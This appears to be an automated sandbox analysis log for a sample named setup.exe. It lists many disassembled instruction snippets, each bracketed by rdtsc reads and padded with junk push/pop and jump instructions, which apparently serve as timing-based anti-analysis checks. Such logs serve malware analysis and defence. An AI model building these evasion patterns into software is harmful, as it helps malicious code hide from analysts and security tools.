Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D1FF6 second address: 3D1FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D54F4 second address: 3D5522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDE8CE13E8h 0x00000009 jmp 00007FDDE8CE13E1h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D5522 second address: 3D553E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F76h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D4F03 second address: 3D4F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 jg 00007FDDE8CE13DEh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D4F14 second address: 3D4F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDE9067F6Ch 0x0000000c jmp 00007FDDE9067F6Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D4F33 second address: 3D4F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D5210 second address: 3D5232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jne 00007FDDE9067F70h 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 ja 00007FDDE9067F66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D93A2 second address: 3D93EA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDE8CE13E2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FDDE8CE13E6h 0x00000014 popad 0x00000015 jmp 00007FDDE8CE13E6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DD999 second address: 3DD99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DD99D second address: 3DD9A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DD9A3 second address: 3DD9A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DD9A8 second address: 3DD9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDDE8CE13D6h 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007FDDE8CE13D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DD9C1 second address: 3DD9F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007FDDE9067F80h 0x0000000f pushad 0x00000010 jng 00007FDDE9067F66h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DD9F5 second address: 3DD9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DD9FB second address: 3DDA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DDB64 second address: 3DDB71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DDECD second address: 3DDED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DDED1 second address: 3DDEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FDDE8CE13D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390CA6 second address: 390D20 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDE9067F7Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jnc 00007FDDE9067F68h 0x00000013 mov ebx, dword ptr [ebp+12486D48h] 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007FDDE9067F68h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 mov ecx, 689D3A51h 0x00000038 add eax, ebx 0x0000003a add dword ptr [ebp+12460DABh], edx 0x00000040 mov edi, dword ptr [ebp+1244A6E8h] 0x00000046 nop 0x00000047 push ecx 0x00000048 jc 00007FDDE9067F68h 0x0000004e push edx 0x0000004f pop edx 0x00000050 pop ecx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push esi 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390D20 second address: 390D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390D26 second address: 390D85 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDDE9067F66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FDDE9067F68h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov ecx, dword ptr [ebp+122D2978h] 0x0000002d push 00000004h 0x0000002f stc 0x00000030 jmp 00007FDDE9067F6Ch 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push edi 0x0000003a pop edi 0x0000003b jmp 00007FDDE9067F74h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390D85 second address: 390DAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FDDE8CE13D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390DAA second address: 390DB8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FDDE9067F66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DE1EF second address: 3DE204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDE8CE13DCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DE204 second address: 3DE21C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDDE9067F70h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DE381 second address: 3DE3A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDE8CE13DCh 0x0000000b jmp 00007FDDE8CE13DFh 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DED3E second address: 3DED44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DED44 second address: 3DED55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FDDE8CE13D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DED55 second address: 3DED79 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDE9067F66h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FDDE9067F74h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DED79 second address: 3DED7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DED7F second address: 3DED84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3DED84 second address: 3DEDA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDE8CE13E6h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3E9FE4 second address: 3E9FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EA415 second address: 3EA41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EA41D second address: 3EA424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EA424 second address: 3EA43B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007FDDE8CE13D6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f js 00007FDDE8CE13DEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EA43B second address: 3EA449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FDDE9067F66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EB233 second address: 3EB239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EB51B second address: 3EB53A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EB84A second address: 3EB84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EB84E second address: 3EB857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF02B second address: 3EF030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF175 second address: 3EF17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF17B second address: 3EF17F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF30C second address: 3EF312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF312 second address: 3EF31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDDE8CE13D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF31C second address: 3EF320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF320 second address: 3EF326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF8A2 second address: 3EF8AE instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDE9067F66h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF8AE second address: 3EF8C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE8CE13DDh 0x00000009 js 00007FDDE8CE13D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EF8C5 second address: 3EF8CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3EFA12 second address: 3EFA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FDDE8CE13E8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3F44D4 second address: 3F44F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FDDE9067F79h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3FA9B8 second address: 3FA9C2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDDE8CE13D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3FA9C2 second address: 3FAA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FDDE9067F84h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FDDE9067F6Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007FDDE9067F66h 0x0000001d jmp 00007FDDE9067F70h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3FAA11 second address: 3FAA1B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDE8CE13D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3FAA1B second address: 3FAA4F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDDE9067F7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDDE9067F74h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3FAA4F second address: 3FAA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3FB13F second address: 3FB143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3FBA2F second address: 3FBA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 40F39E second address: 40F3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 40F3A4 second address: 40F3CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDDE8CE13DAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 40F21D second address: 40F223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 40F223 second address: 40F229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 413A9F second address: 413AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jc 00007FDDE9067F68h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 413C85 second address: 413C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 413C8E second address: 413C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4168E0 second address: 4168E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4168E9 second address: 4168EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 416A3D second address: 416A8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E0h 0x00000007 jmp 00007FDDE8CE13E8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FDDE8CE13E9h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 416A8A second address: 416AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDDE9067F66h 0x0000000a jmp 00007FDDE9067F6Dh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4239DC second address: 4239E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007FDDE8CE13DEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4239E9 second address: 4239EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4239EF second address: 423A01 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007FDDE8CE13D6h 0x00000009 pop ebx 0x0000000a js 00007FDDE8CE13DEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 423873 second address: 423879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 423879 second address: 42387F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42FA4B second address: 42FA5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F6Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42FA5C second address: 42FA60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42E36F second address: 42E37F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007FDDE9067F66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42E37F second address: 42E385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42E385 second address: 42E389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42E389 second address: 42E391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42E6A2 second address: 42E6C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42E6C1 second address: 42E6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42E6C8 second address: 42E6E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDDE9067F6Ah 0x00000008 jno 00007FDDE9067F66h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 jp 00007FDDE9067F66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42EAE8 second address: 42EAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42F72E second address: 42F76E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDDE9067F66h 0x00000008 jmp 00007FDDE9067F6Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FDDE9067F6Eh 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007FDDE9067F7Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42F76E second address: 42F79B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDE8CE13E9h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42F79B second address: 42F79F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 432790 second address: 432797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 432311 second address: 432355 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FDDE9067F70h 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FDDE9067F79h 0x00000017 pop edi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 442BB7 second address: 442BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDDE8CE13DEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 442BD0 second address: 442BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
